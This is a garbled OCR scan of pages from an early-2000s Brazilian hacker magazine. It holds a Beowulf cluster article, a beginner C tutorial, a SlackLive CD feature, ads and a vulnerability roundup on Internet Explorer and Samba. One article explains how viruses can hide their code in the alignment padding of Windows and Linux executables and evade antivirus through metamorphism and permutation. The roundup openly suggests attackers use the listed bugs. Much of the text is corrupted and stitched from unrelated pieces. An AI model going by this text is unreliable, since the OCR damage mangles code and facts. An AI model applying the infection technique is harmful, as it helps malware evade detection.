pela rede, para ndo sobrecarregar o sistema. Os demais nds
sao conhecidos como clientes ou backends (bem, eu os de-
nomino nés escravos), sao exclusivamente dedicados ao
processamento das tarefas enviadas pelo né controlador -
ndo exigindo teclados e monitores e eventualmente funcio-
nando até sem a utilizacdo de discos rigidos (boot remoto) -
e podem ser acessados via login remoto (Telnet ou SSH).

O Beowulf é um projeto bem-sucedido. A opcao feita por
seus criadores, de usar hardware popular e software aberto,
tornou-o facil de ser replicado e modificado; a prova disso é
a grande quantidade de sistemas construidos a moda do
Beowulf em diversas universidades, empresas americanas. e
européias e até residéncias. Mais do que um experimento,
foi obtido um sistema de uso pratico que continua sendo
aperfeicoado constantemente.

Nés escravos

N P
LAN Publica ool nds

Né Controlador

Nos escravos
Back-end's -

Marcos Pitanga é especialista em computacdo em cluster
com GNUI/Linux e autor do livro Construindo
Supercomputadores com Linux. Pode ser contatado pelo
e-mail pitanga@domain.com.br




Raros (e poisesgéeéi;*) métod
d Ol 0o {

ste texto.deve ser utilizado por pessoas gque pos
suem cuniosidade de saber profundamente como

funcionam as mmfeccoes de virus e seus camimhos

Existem diversos tipos de infeccoes de executavers, desde
as mals conhecidas, como mjetar codigo ao final de um al
quivo e fazer o programa dar “um pulo” no codigo viral e
em sequida, retornar ao programa normalmente. Mas oxis
tem rarissimos casos, que dexam as empresas de antivirus
completamente lotcas, © que precisam rapidamente criar

antidotos eficazes

Um meétodo muto interessante ¢ fazer com que o codigo
do virus seja dividido “parseado” em diversos blocos de
instrucoes e injetado em diversas areas livres do executavel

(lera-se alinhamento)

A implementacao dependera do preenchimento das areas
de almhamento. O tamanho destas areas depende das op
coes do compilador que for utilizado pata gerar o executavel,
o este método podera ser utilizado tanto em arquivos
executavels Windows (Win32 PE), quanto enm arguivos

executavers Linux (ELF)

Diversos compiladores € usam alinhamentos que vatiim
de 4 a 16 bytes, o que nos da (de 0 a 15) bytes livies ao final
de cada sub-rotina

Compiladores como o Borland C/C+4, geralmente, usam a
instrucao NOP, eguivalente em 0x90 (hexa); para comple
mentar o alinhamento, compiladores da Microsoft costu

mam usar a instrucao INT 3 (debuqg), OxCC (hexa). Oultros,

=11

como 0 GCC, nao possuem um valor predetinido e preen

chem com qualquer conteudo

Uma maneira simples de encontrar o final de uma sub
rotina ¢ procurar pelas seguintes sequencias
(RET) ou
(RET N)
(IMP SHORT X8
(MP XX XX XXRK)
Frm soguida, podera@raparecer de 0 a 15 bytes Ox90 ou

OXC ( tarminando @ alinhamento em 16 hytes

Um exemplo:

PUSH EBP

Inicto da proxima sub-rotina

de executaveis

Com 1550, terfamos os sequintes bytes (em hexa)

€3 90 90 90 90 90 90 90 90 90 90 90 90 55
|
12 bytes livres para injetar codigo

os de

por Marcos Velasco

IR AW velasco,

Virus polimorficos serlam os preferidos para usar esta

Lex |lnl|\)\l|.i

Como vimos, muitas partes de um arquivo executavel con

e espacos que poderao ser explorados por virus

Nesses 12 bytes, paderao conter IMPS (Jumps, saltos) para

autras areas hvres ate fazer conter todo o codigo do virus

Virus polimarficos (mutantes) foram descritos em um artigo
meu, anteriormente
Para complementar o texto, veja a sequir a diferenca entre
dois tipos destes virus

de metamorfismo e permutacao sao usadas

nplexos com-a seguinte tinalidade

1. Prolongar o tempo para escrever codigo antiviral
(ou seja, demorar para criar a cura);
2. Aumentar e dificultar o tempo de deteccao de

objetos infectados.

Sa0 diterentes

ontem alguns da

A ntencao deste texto nao e de criar panico ou “dar dica”
para criadores de virus, mas sim de mostrar as possibilidades
reals que existem e as possivels formas de contaminacao de

Arguivos que poderemos ter no futuro

= Melamorfisino e Permulacao, qual a dilerenca?s

dos criptogratados, que sao usados para gerar.novas co
plas polimorficas
A nova copla polimorfica sera executada apos sua criacao,

que podera conter instrucoes de diversos tamanhos

Virus permutantes nao contém dados criptografados, eles
usam apenas tma copta atual para gerar novas coplas
polimorficas e sempre conseguem obter o tamanho de suas
proprias instrucoes. Isto podera ser teito criando um
disassembler ou fazendo com que todas as instrucoes te
nham um mesmo tamanho fixo (como, por exemplo,

colmplementando com NOPSs)

Resumindo:
Metamorfismo significa gerar novo coadigo e Permutagao

stgritica usar codigo antigo
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TUTORIAL DE C

Twitoria

Aprenda a linguagem de programacao
mais usada pelos hackers

Introducao

epois de ter publicado a minha série de tutoriais

introducao ao C e sobre como programar em Linux, com
respeito a uma série de convencoes importantes que iremos
explorar no curso. Espero que vocés gostem e que. estas
de sockets para Linux, recebi uma verdadeira licoes possam servir como base para a criacdo de
enxurrada de e-mails de leitores que queriam desenvolvedores em nosso Pais.

migrar as aplicacées para Windows. Como eu acho que o

Do que vocé vai precisar?
Inicialmente, de um micro com Linux, com todas as bibliote-
cas de desenvolvimento instaladas. VVocé nao precisa de uma

Linux é o sistema ideal para desenvolvimento de ferramen-

tas, sendo muito bem documentado e, acima de tudo, um
software livre, resolvi iniciar uma série de tutoriais que tem
como objetivo trazer esses leitores de vez para o mundo maquina muito poderosa, ja que utilizaremos somente o

do Linux e criar um grupo de desenvolvedores ambiente shell, e um editor de textos simples (vi, pico ou

de aplicac6es para 0 nosso mcedit). Dependendo da distribuicao que vocé utiliza, como,

querido pingim. por exemplo, o Conectiva e o RedHat, terd de instalar os

Esta nossa pri- modulos de programacéao e desenvolvimento durante a insta-

meira licdo é lacdo. Caso vocé utilize o Slackware, nada disso sera necessa-

mais uma rio, pois na instalacao-padrao ja é feita a instalacao destes
modulos. Aligs, eu utilizo, para desenvolvimento de minhas
aplicacoes em C, o Linux Slackware, pois, na minha opinido, é

o mais flexivel de todos para o ambiente de desenvolvimento.

Nao tenho Linux na minha maquina e
tenho medo de instala-lo!!!

Néo se preocupe. Existem duas solucées muito interessan-
tes que nao precisam ser instaladas em micro e executam o
boot de um CD com tudo o que vocé precisa. Uma delas é o
iolux (Attp./miolux.codigolivre.org.bn, distribuicao basea-
da em Debian, e outra é o Kurumin (http.//
www.guiadohardware.net/linux/kurumin/j, também Debian.
Ambos possuem ambiente grafico e de desenvolvimento em

shell para vocé poder utilizar; portanto, ndo tem mais des-
culpa para nao utilizar o Linux.

Apresentando o nosso compilador
Para podermos transformar nosso coédigo-fonte em um

programa executéavel, precisamos de um programa que tra-

duza as linhas de codigo para um programa executavel. Utili-
zaremos um compilador préprio para o C, que vocé nao
precisa baixar de nenhum site, pois ja vem no Linux: o GCC.

O GCC (GNU Compiler Collection) é um dos melhores (na
minha opinido, o melhor) compiladores que existe para a
criacao de programas em C. Desenvolvido pelo pessoal da
Free Software Foundation, agrega uma série de funcoes,
mantendo total compatibilidade com o C ANSI cldssico. Mais
detalhes podem ser encontrados na pagina do GCC em
http.//www.gnu.org/directory/gce. htmi.

O GCC possui ainda uma versdo para C++ que é 0 G++,
mas o qual ndo utilizaremos em nosso curso.

Utilizando o GCC

Se no shell do Linux vocé digitar o seguinte:

[rootBpostgre rootl# gcc

Terd como resposta:

gcc: No input files

Isso significa que o GCC estava esperando o programa-
fonte para ser compilado e gerar um executdvel. Uma sintaxe
basica seria a sequinte:

gee’ ~uralo alo.e¢

Na qual a opcéo -o (output) gerard um executdvel chamado
alomundo a partir do cédigo-fonte alo.c. Se vocé ndo especi-
ficar um nome com a opcao -0, 0 GCC gerard um executavel
chamado a.out. Viu como é facil compilar?

primeiro programa: o classico Alo mundo!
Vamos escrever nosso primeiro programa em C e explicar

sua estrutura passo a passo. Inicialmente, abra o editor de
textos de sua preferéncia e edite o seguinte programa:

Dara

Linmuse

Por Antonio Marcelo
amarcelo@plebe.com.br

/*Alo mundo em C*/
main ()
{
printf [(“Alo Mundo!\n”];

Salve-o como a/o.c e digite a seguinte linha de comando:

[rootPoldmbox cursoc]# gcc -o alo alo.c

O GCC ira gerar o executavel alo; em sequida digite:
[rootBoldmbox ./alo
Alo Mundo!
[rootPoldmbox

cursoc | #
cursoc|#

Vamos analisar o nosso primeiro programa em C em blo-
cos; vamos a eles:
/*ARlo mundo em C*/

Esta linha indica um comentdrio, que normalmente come-
ca em /* e termina como */. Tudo que tiver de ser comenta-
do deveré ser feito desta maneira. Em seguida, temos a se-
guinte linha:
main ()

{

O C trabalha com um bloco de construcao chamado “fun-
cdo”. Um programa pode ter varias funcoes declaradas, mas
a main() representaria o bloco principal do programa, ou
melhor, a funcéo principal. Todos os programas em C no seu
corpo tém a funcao main() declarada. Podem existir variacoes
na main(), mas falaremos disso mais tarde. Em seguida, nés
temos uma abertura de chave ({), a qual indica o comeco da
funcdo main(), ou seja, vamos escrever o nosso bloco de
programa propriamente dito.

Por fim, temos a nossa primeira linha de comando em C:

33
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printf (“Alo Mundo!\n”];

A instrucdo printf joga alguma coisa na tela; para quer se
lembra do velho basic, é similar ao comando print. Toda a
instrucdo em C deve terminar com um ponto-e-virgula (;),
sendo vocé tera um erro de compilacdo. Repare que o co-
mando printf ird imprimir na tela a mensagem que esta entre
aspas, “Alo Mundo!”, s que existe um algo a mais nesta
mensagem. PRGN S

Repare que no ﬁnal’srurge um In . Para quem nunca mexeu
com programacgao antejés,, trat‘é-‘se do que'fcha'm'amos de se-
quiéncia de escape, ou seja, sao cédigos que desempenham
a‘l“gum tipo de funcao. Por exemplo, o \n faz com que vocé
posicione o cursor em uma nova linha. Abaixo vamos mos-
trar outros caracteres uteis:

\n - Nova linha

\t - Tabulacdo Horizontal, ou seja, move o cursor para
uma nova parada de tabulacao

\r - Carriage Return, posiciona o cursor para o inicio
da linha atual

\a - Alerta. Emite um aviso sonoro

\\ - Imprime um caracter \

\" - Imprime um caracter “..

E, para finalizar seu programa, o simbolo de chave fechada
(})

Brincando com Printf
Vamos digitar e executar os seguintes programas abaixo.
Veja que em cada um deles vocé vai ter um resultado diferente:

a) b)
main() main()
{ {

printf(“Alo”) ; printf(“Alo\n”);

printf [(“Mundo!\n”);

) d)

main() main ()
{ {
printf(“Alo”]) ; printf(“Alo”);
printf printf
[“Mundo!\n\a”] ; [“Mundo!\n\a\a\a”] ;

} }

printf (“Mundo!\n”); |

Faca cada um deles e veja o que acontece.

Avancando um pouco mais...

Vamos comecar a sofisticar um pouco mais o que apren-
demos e fazer um programa que leia um nimero e o apre-
sente na tela. A listagem é a seguinte:
main (] {

int numero;

printf(“Digite um numero : *“J;

scanf (“%d”,&6numero) ;

printf (“0 numero e %d\n”, numero) ;

Salve-o0 como nuimero.c e depois compile-o:

gcc -0 Numero numero.c

Execute-o e veja o que acontece.
Apareceram algumas novidades aqui. Inicialmente temos
uma linha que declara uma variavel:

int numero;

A variavel é um recurso muito comum utilizado em pro-
gramacao. A sua funcao é reservar na memaoria uma posicao
para armazenarmos temporariamente alguma coisa durante
o tempo de execucdo do programa. Criamos uma variavel
chamada namero, na qual armazenaremos temporariamente
o valor que digitaremos. Esta varidvel é especial, ou seja, é
do tipo inteiro. Somente nimeros inteiros, como -1, 7, 234
(é claro que existe um valor méximo, mas falaremos mais
tarde sobre isso). Letras ou caracteres especiais néo podem
ser armazenados em uma variavel do tipo int.

Em seguida eu emito uma mensagem com o printf e utili-
z0 Uma nova instrucao:

scanf (“%d” ,6numero] ;

A instrucao scanf recebe uma entrada do dispositivo-pa-
drao (no caso teclado), que esta seguida de dois argumen-
tos: “%d" e &umero. O primeiro argumento diz que o tipo
de dado que vai ser lido é do tipo inteiro (se vocé digitar
uma letra, vai dar erro...) e, em seguida, aparece um & comer-
cial seguido do nome da variavel. Temos um ponto impor-
tante aqui: o C quando & uma variavel armazena o seu con-
tetido em uma posicao especifica de memoria, e 0 & diz ao C
em que posicdo da memoria esta variavel esta. Nao se preo-
cupe, no inicio é meio confuso, mas depois que estudarmos
ponteiros a coisa fica mais facil. Depois, temos a linha:
printf(“0 numero e %d\n”, numero]) ;

Aqui eu digo para o printf imprimir a variavel nimero,
com o formato inteiro (%d); se eu nao fizer isso, a saida sera

totalmente inconsistente. Eu comeco com uma mensagem
(O numero e:), seguida da formatacdo (%d), e uma nova
linha (\n), sequida da variavel (nimero) e termino meu pro-
grama(}). Bom, este exemplo é bem simples. Vamos mostrar
abaixo outro exemplo que some dois numeros. Digite-o e
salve-o0 como soma.c
main () {

int numerol, numero2, resultado;

printf (“Digite o primeiro numero : “};

scanf (“%d” ,6numerol) ;

printf(“Digite o segundo numero : “];

scanf (“%d” ,6numero?d] ;

resultado = numerol+numero?;

printf (“0 resultado e %d\n”, resultado);

Este exemplo é mais complexo e eu introduzo aqui o ope-
rador aritmético +, que executa a soma de um ou mais valo-
res. Eu declaro uma variavel chamada resultado, que ira rece-
ber o valor da soma das varidveis nimero1 e numero2, e em
seguida eu imprimo o resultado. Na declaracdo de varidveis
eu posso declarar mais de um do mesmo tipo; reparem que
eu fiz isto com numero1, numero2 e soma.

Falando um pouco mais de operadores
matematicos e de igualdade

Em C temos os chamados operadores matematicos, aque-
les utilizados para executarmos operacées. Sao eles:

Adicado (+) - numerT+numero2

Subtracdo (-) - numerol1-numero2
Multiplicagao (*) - numero1*numero2

Divisao (/) - numero1/numero2

Resto (%) - numerol % numero2

Parénteses () - 0 que esta dentro dos parénteses
precede na operacao

Exemplo (1+2+3)/2 - primeiro serd feita a soma e depois a divisao.
E os operadores de igualdade sao:

igual (==)

diferente (I=)
maior que (>)
menor que (<)
maior ou igual (>=)
menor ou igual (<=)

Exemplificando, vamos fazer um programa de demonstra-
¢d0 que mostre se 0 numero é par ou impar. Vamos digita-lo
abaixo e salva-lo como par.c.

main (] {
int numero, par;
printf (“Digite um numero : “];

scanf (“%d” ,6numero] ;

par=numero%e;
if (pax > 8
printf (“impar\n”];
else {

printf (Ypar\n?]);

Este programa apresenta duas novas funcées if/else,
que sao funcdes condicionais. Repare que a idéia é, atra-
vés do operador resto, descobrir se o resultado de uma
divisdo por 2 deixa algum valor diferente de 0. Um nume-
ro par, ao ser dividido por 2, tem como resto 0, e um im-
par, um valor maior que zero, pode ser 1, 2, ete. No caso,
nés fazemos um teste:

if par > 0, ou seja, se o resto da divisao que estd armazenada
na variavel par for maior que 0, o nlimero é impar; caso contra-
rio, é par (else). Nés vamos falar mais de regras de condicao,
mas era necessario para este exemplo mostrar o if e o else.

Exercicios propostos:

Agora vamos com este pouco de conhecimento propor a
vocés 0s seguintes programas:
a) Faca um programa que leia trés numeros, some os dois pri-
meiros e subtraia o resultado do terceiro, exibindo o valor final;
b) Faca um programa que leia o contetido de trés nimeros,
exiba-os separadamente e depois apresente o resultado da
soma dos trés;
¢) Faca um programa em C que leia um ntmero e, se ele for
par, imprima seu quadrado.

As respostas estarao no site www.plebe.com.br, na érea
de arquivos, juntamente com o cédigo dos exemplos.

Finalizando

Esta primeira licdo é o basico para vocés poderem iniciar
no C; a medida que nosso curso for se desenvolvendo, vere-
mos outras facetas interessantes. Figuem a vontade para
enviar e-mails. Até a proxima.
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de ser um pesquisador independente e também CEO da Gurgel e Fonseca Consultores Associados, empresa brasileira de conectividade e seguranca. Pode ser consultadnO endereco Atto/www.plebe.com.br. Davidas e criticas sobre este artigo podem ser enviadas para amarcelo@plebe.com.br.
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SLACKLIVE

slack ¥
ware |

Para comemorar a décima edicdo da revista

H4CK3R, vamos presentea-lo com uma versao

especial da distribuicdo Linux mais adorada pela
comunidade hacker, o Slackware. Famoso pela sua estabilidade
e seguranca, o Slack conquistou os mais exigentes usuarios de
Linux e até mesmo as empresas de seguranca. A configuracao
basica que a distro precisa para rodar é responsavel por parte
deste sucesso. Enquanto o Red Hat e o Debian exigem mais
memoria e espaco em disco, o Slackware usa apenas 50 MB e
boota incrivelmente rdpido, mesmo com uma memdria RAM de
16 MB, realizando o processo de boot inicial em menos de 30
segundos! Esta vantagem foi ampliada ainda mais com a uniao
entre o novo e melhorado Slackware 9.0 e a técnica do LiveCD.
Agora vocé pode sentir todo o poder desta bem-sucedida dis-
tribuicao, sem precisar se preocupar com a instalacao e proble-

Criando sua propria distro

Vocé j& notou que nos Ultimos anos o nimero de distri-
buicoes Linux estd aumentando muito? Pois €, um dos fato-
res que mais contribuiram para isso foi a popularizacao dos
Live CDs. Sao distribuicdes como o Knoppix e o Kurumin
(baseados no Debian), o SuSe Live e muitas outras que, além
de serem mais faceis de usar (pois ndo precisam ser instala-
das), também podem ser configuradas e editadas facilmente.

A comunidade se retine

Os fanéticos (e fanaticas) por Slackware se reuniram em Sao
Paulo para realizar um belo evento, o 1° Encontro de Usuarios
Slackware, que contou com palestras, debates, estandes do
Slackware e muito mais. Vocé pode conferir as imagens

Culas 006 3

mas de configuracao, é o SlackLive. Esta versao é especialmente
util para aqueles que querem experimentar a versao 9.0 e ainda
nao tiveram oportunidade. Funciona também como sistema
operacional para terminais, ja que nao precisa de um HD para
rodar. Ele é ideal para maquinas que compartilham uma mes-
ma conexao. O pacote de programas que vem com o SlackLive
também merece ser destacado. Além de contar com a verséo
mais recente da interface grafica KDE 3.1, a distribuicdo ainda
conta com programas legendérios do universo GNU, como o
flexivel editor de textos Emacs, o cliente de e-mails Pine e o
veloz web-browser Lynx, além de outros como o indispensavel
IPtables, por exemplo.

E, acima de tudo, como disse um amigo nosso: “A principal
diferenca do Slackware 8.1 para 0 9.0 é o nome. Porque o Slack
é tdo bom que nem precisa mudar”.

Dentro da imagem do SlackLive existe um arquivo de texto

chamado “LIVECD_CREATE_HOWTQO" que ensina a persona-

lizar seu SlackLive. Seguindo suas instrucoes vocé podera
adicionar ou remover pacotes e deixar a distribuicdo com a
sua cara. No site oficial do SlackLive existem scripts e links
ensinando a melhor maneira de criar sua propria versao do
Slack. E imperdivel! ;

do evento em um video exclusivo no CD desta edi-
¢do, na categoria Linux Tools. Mais informacoes sobre
este e outros eventos podem ser vistas nos sites Aip./
br.linuxchix.org/(do grupo LinuxChix) e Attp./qus-
br.linuxmag.com.br(do GUS, Grupo de Usudrios de Slackware).

Usando o Slackware Live (Box)

E extremamente facil rodar o Slackware Live. Basta
inicializar sua maquina com o CD desta edigdo no drive de
CD-ROM. Algumas méquinas precisam de um ajuste na
configuracao da BIOS. O que, por si s6, também é bem sim-
ples. Basta entrar na interface de configuracao de boot da

SlackLive

BIOS, apertar a tecla Delete enquanto o micro inicia e esco-
Iher o CD-ROM como primeira opcao de boot ou “ 7st boot
device". Para logar no sistema, basta escolher root como
usudrio e deixar a senha em branco. Depois é sddigitar as
iniciais e carregar as seguintes aplicacdes:

XWindow KDE 3.1 win
Emacs (editor de textos) emacs
Mp9321 (conversor de'arqu‘ivos)' mpg321
Pine (cliente de e-mail) pine
Links (browser modo-texto) links

*QObs.: Se mesmo configurando sua BIOS vocé nao con-

seguir bootar o CD, é possivel carregar o Slackware Live

Configurag¢does minimas

Como ja citamos anteriormente, o Slackware nao precisa
de uma méquina muito pesada para rodar. No entanto, é
preciso conferir os requisitos minimos das aplicacées que
vOcé usara em conjunto com o Slack. Confira a seguir o
hardware minimo para rodar o SlackLive:

386 Processor

16 MB RAM

50 MB de espaco livre no HD
Drive de CD-ROM

através do DOS. Para tanto é necessario executar o arquivo

linux.bat presente no diretério DOS do CD.

*QObs.: Em nossos testes, o SlackLive ndo carregou a
interface grafica KDE 3.1 em micros com placas de video ATI
Rage, porém rodou as aplicacdes de modo-texto corretamente.

*Qbs.2.: Foram identificados alguns bugs com deteccao
de mouse. Para corrigi-los vocé deve reiniciar o Xwindow
(pressionando Ctr/+Alt+Backspace) ou configurar manual-
mente os arquivos da pasta /dev/imouse.




Mais informacoes
Para obter mais informacoes sobre a distribuicdo e conversar com outros usuérios e desenvolvedores do Slackware Live,
acesse o site oficial: www.slackware-live.org.

| Features

Lista com os principais pacotes incluidos no CD do SlackLive

Kernel 2.4.20 cdparanoia-lllalpha9.8
Xfree86 4.3.0 emacs 1.2

KDE 3.1.1 esound-0.2.29
KOffice 1.2.1 glib .2.1

KDE games glib2 .2.1

Netscape 7.02

glibc-solibs .3.1- -3

mplayer 0.90 final
kopete 0.6.1a
midnight commander 4.6

Conheca as publicacoes da Digerati

gtk+1.2.10- -3 g : ; . {1507 " \:;I"‘" I Bt
gtk2.2.1 ,_ , D|E| ;ﬂ : D& Bt ek, — SUCESSD
gzip .3.3 3 {; audio-video R ATERIAL 3
IPtables .2.7a DJS hf“’“ ’ A ‘
openssh-3.6.1p1 N : :
emacs 21.2 openssl-0.9.7b ey
rdesktop 1.2.0 pcmcia-cs-3.2.4 gante L
hotplug support sendmail-8.12.9 4y 18 Mont
E Computad
cdrtools 2.0 smartmontools-5.1_7 ;g ATI RADEON;S |
k3b 0.8.1 burning GUI for KDE tcpdump-3.7.2- £ 9000 PROZ S
imagemagic 5.5.4 tcpip-0.17- 6 g ik
links 0.98 textutils 2 .
Pine 4.53 traceroute .4a12 g
wget 1.8.2 wireless-tools 5 ] TUToNASIRG
bind-9.2.2 XFree86-4.3.0 g 5
bzip2 .0.2- -4 XviD-0.9.1-i686 ) &
5 | g
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-

Arquivo Linux 8 : PC Brasil Especial 3

Mandrake 9.0: guia passo-a-passo de instalacao, Sistema Completo: Linux que roda direto do CD. Kit do técnico em hardware contendo 20 softwares

partici configuragao Web, programas da Nova versao! Demo Linux 3.0 —baseado no para diagndstico e correcio + discos de boot,
dicas especiais e muito mais. ) R$ 9,90 Debian, Nao precisa instalar. minidistro Linux...

RBOY RS 9,90 Distro,

Click 404 Jogos 9 Cliparts & Cia. 7 E-Learning 7

Exclusivo! todos os jogos rodam direto do CD. Nao Colegao em 3 volumes com as melhores imagens do D Curso de Inglés interativo no CD. As profisses do

precisainstalar. Acao, Aventura, Tabuleiro, mundo. Mais de 25.000 grficos e fontes. Faga: século 21. Colecdo aprendizado digital. 1001

Classicos, Corrida, Esportes. R$9,90 cartoes, anincios, convites, cartazes, malas-diretas, macetes para passar no vestibular. Mapa do Brasil
*"_apresentacbes, Websites, revistas is! atualizado. Dicionario de sindnimos e verbos.

Comprar

PC Max |

D Informagao pesada para quem gosta de hardware.
Coolers para P4, AT RADEON 9000 PRO, P4 Mabos,

Truques da BIOS e muito mais.

Game Blaster 2
2(Ds: dezenas de games incriveis! Na Revista:
Yo-Gi-Oh, Zillion, Akira, Capcom x SNK 2, Spider-
R$9,90 Man. Dicas de PlayStation, PS2, GameCube,

*~__Game Boy Advance, Xbox, PC.

FAQ2
As dicas de Delphi que vocé tanto procurava. No
(D: programas e tutoriais. Na revista: manual para
comegar a programar. Banco de Dados: compo-
nentes e cdigos para SQL no Delphi & muito mais!

O# R$ 9,90

DVD-ROM 3 PC Brasil I3

Disco com o conteiido de 14 (Ds! Firewall: transforme seu computador em uma D Faga seus programas usando o Borland Delphi. Mais de
100 mil cliparts, 200 programas gratis, 650 MB de verdadeira fortaleza. Anti-Spam: chega de caixa 25 minutos deaulas multimidia sobrelinguagem de
drivers, 202 cursos, pacotes de jogos e muito mais. O R$ 9,90 lotada. Ntop: topo de ferramentas de gerencia- programagao orientada a eventos. Curso completo de

O#RS 19,90 Redes. Hackers: entrevista exclusiva com Kevin Mitnik.

mento de redes. Mais de 30 novos exploits.

TopGames Evolution 24 Literatura Digital | CD-ROM Aprender 2
Wolverine X Goku. Jogue PlayStation:o melhor Todos os livros de Paulo Coelho em versdo digital! Mais: D Softwares de tradugao, gerador de telemensagens,
emulador. Videos: Metal Gear Sofid 2 Substance. Final colegdo completa de cléssicos da literatura universal central de fax, busca de CEP, dicionario de sonhos,
. R$9,90 Fantasy X-2:dois anos depois, Yina voltaarmadae jogos e muito mais.
*~_ perigosa. Jogos: Sonic Quest completo e muito mais.

TopGames Kids 2
60 jogos sem violéncia, rodando direto do (D! Diversio
ideal para os pequenos. Matérias com Samurai Jack,
R$9,90 Sakura Card Captures, Digimon e Dexter.

TopGames Classicos 2
232 maquinas simuladas com perfeicao,
utilizando uma avangada técnica desenvolvida
O RS 9,90 por jogadores. O mundo dos Pinballs. Inédito!

TopGames esp. 7

D Transforme seu PC em maquinas de fliperama e
videogames. Do Atari ao PlayStation, com guia

deuso na revista. Gratis 500 ROMs para jogar.

”Comprar

Click 7

D Programas especiais para gravagao de (Ds, softwares
administrativos e muito mais.

Geek Especial 4
Aprendaa montar seu préprio computador + (D
com coletanea especial de programas.

Aarte de gravar (Ds: manual e selecao de softwares
10 (D -+ 130 cursos completos.

m DIGITAL Comprar
AST Internet Pratica | 100 o

D Feita para quem quer desenvolver paraa Internet, y
comecando pelas paginas dinamicas, mas entrando

em todos os aspectos mais importantes.

Audio e Video Digital |
Programas e dicas para usar em seu micro para
processar som e video.

TopGames Surpresa 3
500 jogos para Windows!
Simples e divertidos, incluindo grandes cldssicos.

¥ R$ 9,50 SHOH RS 9,90

T K

Receba a sua revista em casa. O frete é gratis

""";’ﬂG; Comprar ) Loarning bbbl Geaks Comprar
= ' 107 100

Geek 28

Aceleigao da década: os top 100 freewares. Mais
P2P (e quem se cansa dissa?), a historia das
interfaces e um excelente tutorial de Java.

How to | X
Aprenda fazendo. Como fazer um upgrade na sua =
méquina independente do dinheiro que vocé
tem no bolso.

E-Learning 2
101 cursos completos e pacote com simulados e
apostilas para concursos piblicos.

R$ 9,90

T
_aat H4CK3R 2

- Saiba o que é o hacktivismo, aprenda a configurar
seu Linux para evitar ataques e muito mais.

Audio e Yideo Digital 7

Milsica e cinema no computador. $a0 os principais
assuntos da revista. Para quem quer usar o
computador para fazer arte.

Geek especial 12

Cursos e muitos exemplos praticos para quem quer
criar animagoes, filmes e jogos usando a linguagem
R 9,90 T dominou a Internet.

R$9,90

cursosl Comprar

Cursos de Informatica 3
; E’s‘_ Cursos de 3D Studio, Administragao de redes, Delphi,
e AutoCAD, Visual Basic e testes de certificacao.

Cursos de Informatica 5
Primeira revista do Pais a fornecer no CD-ROM

material didatico completo de 7 cursos de nivel
superior e pos-graduagao em tecnologia.
R$9:90 perior e pos-graduaco og!

Faca Yocé Mesmo 2
Aprenda passo a passo tudo o que é necessirio
paramontar seu proprio computadorefazersua . T e g
manutencao.

Apreferida pelos profissionais de Internet traz o
fantstico Xara Webstyle 2.0 em versao completa

) ; 10 CD. Curso de Flash 3D, software Maya Learning
R$9,90 dition e muito mais!

DVD-ROM 2
DVD-ROM com conteddo equivalente a 14 CDs! Mais
de2.300 softwares, 9 trailers de filmes e muito mais.

Meu Computador 8

Desvende os segredos do Photoshop em uma
videoaula exclusiva. Traduza textos em mais de
60 linguas. 2 CDs brindes!

Mande cheque nominal ou vale postal para: Digerati Comunicagao e Tecnologia Ltda.
Rua Haddock Lobo, 347 — 12° andar

Cerqueira César—Sao Paulo/SP— CEP 01414-001

Vocé recebera sua(() revista(s) em casa sem nenhuma despesa adicional.

Para mais informages: (11) 3217-2600 ou atendimento(@digerati.com.br

Para comprar pela Internet: www.digerati.com
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Vindows

é do que o mais impc
utiliza para inicializar ¢
do nao mexer no nele,
coes indevidas podera

Todas alteracées d
Se ndo o conhe

Arquivos .EML com anexos (Compativel
com Windows 9x, Me, NT, 2000 e XP)

Uma vulnerab e u , Mas g

Eliminar arquivos temporarios do Internet &
Explorer, ao sair

i

esta presente, cha

Ela faz com » s arqui-

anexos, possam ser net Explorer.
via HTML ou pelo Outlo
anexo automaticamente,
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com Windows 9x, Me, NT, 2000 e XP) &
0 Windows, geralmen h.
rios no computador
Existem na Intern:

senhas, as quais pode




VULNERABILIDADES

Tech

Bruno Cesar
rerati.com.br

falhas de sequranca

pergunta que nao se cala devo saber
de novos bugs e vulnerabilidades Bem, isso

pode ser respondido sob trés pontos de vista:

» 1- Se vocé é um administrador de siste
saber da vulnerabilidade para poder c

seu sistema; se vocé tem um servidor, um servico rodando, e

» essencial
0 bug em

esse servico ou daemon for a versao vulneravel, corrija-o

antes que alguém o faca de uma maneira nao tao agradavel.

um super-HACKER que curte invadir siste-

» 2- \/(
mas para espionagem ou para alterar paginas? Bom,

“tem gosto para tudo nessa vida", e é aconselhavel saber de

novos bugs, para assim poder utiliza-los em suas investidas

ou aprimorar o bug com seu conhecimento.

» 3- Se voceé se interessa por novos bugs, mas nao tra-
balha com seguranca nem curte hackerismo, fique
informado, apenas para aprendizado, sobre o que esta acon
tecendo na area de seguranca; assim, um dia vocé poderd

precisar disso e utiliza-lo

Vulnerabilidades

Os bugs abaixo foram todos refirados de Sites refacionaat
seguranca, assim como listas de discussoes, e-mails, etc. Nao nos
responsabilizamos pela utilizacao das informacoes contidas
nessa area. Procuramos publicar os bugs mais recentes; a maior
parte deles ainda nao tem um exploit disponivel para demons
trar as vulnerabilidades na pratica, mas sim uma breve explicacao
de como se pode explora-los ou como foram explorados. Pratica-
mente todos tém a solucao paras bugs descritos; isso quer dizer

que as empresas ja desenvolveram um patch para bug

Bu

Fique por denfro das ultimas

Microsoft Internet Explorer
Vulnerabilidade Plugin.ocx

Qs

O browser mais utilizado no mundo por usuarios domes-
ticos, o Microsoft Internet Explorer, é o navegador-padrao
dos sistemas rodando Windows. A vulnerabilidade consiste
em um plug-in do Internet txplorer Plugin.ocx, gue em
certas circunstancias de configu ausa uma
vulnerabilidade de val »im rodar um

codigo malicioso no

%> Versoes Afetadas:

Microsoft Internet Explorer 5 0.1

Microsoft Internet Explore!

Microsoft Internet Explore

Microsoft Internet Explorer 5

Microsoft Internet Explorer 5.5 SP2

Microsoft Internet Explorer 5.5 SP1

Microsoft Internet Explorer 5.5

Microsoft Internet Explorer 6.0 SP1

Microsoft Internet Explorer 6.0

Solucao: Atualize o sistema com os patchs liberados pela Microsoft
htto.//www.microsoft. com/windows/ie/downloads/critical/
813489/default.asp

Samba Remote Buffer Overflow

Para quem nao conhece, o Samba € um dos softwares utiliza-
dos para integracao entre Linux e Windows, em redes internas
Com ele é possivel compartithar arquivos, impressoras e outros
recursos

Ndo se sabe ainda muito sobre essa vulnerabilidade; é prova-
vel que as versoes abaixo sejam exploradas por meio de codi-
gos arbitrarios, “Buffer Overflows” remotos, sendo que todo

comando executado seria como superusuario ou usuario root

>> Versoes Afetadas:

Samba Samba 2.0 .0 Samba Samba 2.0.1
